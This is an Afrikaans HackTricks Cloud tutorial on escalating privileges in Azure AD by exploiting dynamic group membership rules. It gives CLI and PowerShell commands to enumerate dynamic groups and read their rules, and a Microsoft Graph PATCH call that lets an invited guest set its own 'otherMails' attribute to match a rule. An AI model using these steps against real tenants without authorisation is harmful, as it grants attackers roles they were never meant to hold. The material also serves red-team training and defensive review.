Az - Dinamiese Groepe Privesc
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Dinamiese groepe is groepe wat ān stel reĆ«ls gekonfigureer het en alle gebruikers of toestelle wat by die reĆ«ls pas by die groep gevoeg word. Elke keer as ān gebruiker of toestel se attribuut verander, word die dinamiese reĆ«ls opnuut nagegaan. En wanneer ān nuwe reĆ«l geskep word, word alle toestelle en gebruikers gekontroleer.
Dinamiese groepe kan aan hulle Azure RBAC roles toegeken word, maar dit is nie moontlik om AzureAD roles aan dinamiese groepe toe te voeg.
Hierdie funksie vereis ān Azure AD premium P1 lisensie.
Privesc
Let daarop dat standaard enige gebruiker gaste in Azure AD kan nooi. As ān dinamiese groep se reĆ«l toestemmings aan gebruikers gee gebaseer op attribuutte wat in ān nuwe gast gestel kan word, is dit moontlik om ān gast met hierdie attribuutte te skep en bevoegdhede op te skaal. Dit is ook moontlik vir ān gast om sy eie profiel te bestuur en hierdie attribuutte te verander.
Kry groepe wat Dynamiese lidmaatskap toelaat: az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table
Dinamiese Groepe Enumerasie
Kry die reĆ«ls van ān dinamiese groep:
Met Azure CLI:
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
Met PowerShell en Microsoft Graph SDK:
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph
Connect-MgGraph -Scopes "Group.Read.All"
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes
# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState
$g | Select-Object DisplayName, GroupTypes, MembershipRule
# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
Voorbeeld
- Reƫlvoorbeeld:
(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest") - ReĆ«lbeskrywing: Enige Guest-gebruiker met ān sekondĆŖre e-posadres wat die string āsecurityā bevat, sal by die groep gevoeg word
Vir die Guest-gebruiker se e-pos, aanvaar die uitnodiging en kyk na die huidige instellings van daardie gebruiker in https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView.
Ongelukkig laat die bladsy dit nie toe om die attribuutwaardes te verander nie, so ons moet die API gebruik:
# Login with the gust user
az login --allow-no-subscriptions
# Get user object ID
az ad signed-in-user show
# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'
# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die š¬ Discord groep of die telegram groep of volg ons op Twitter š¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

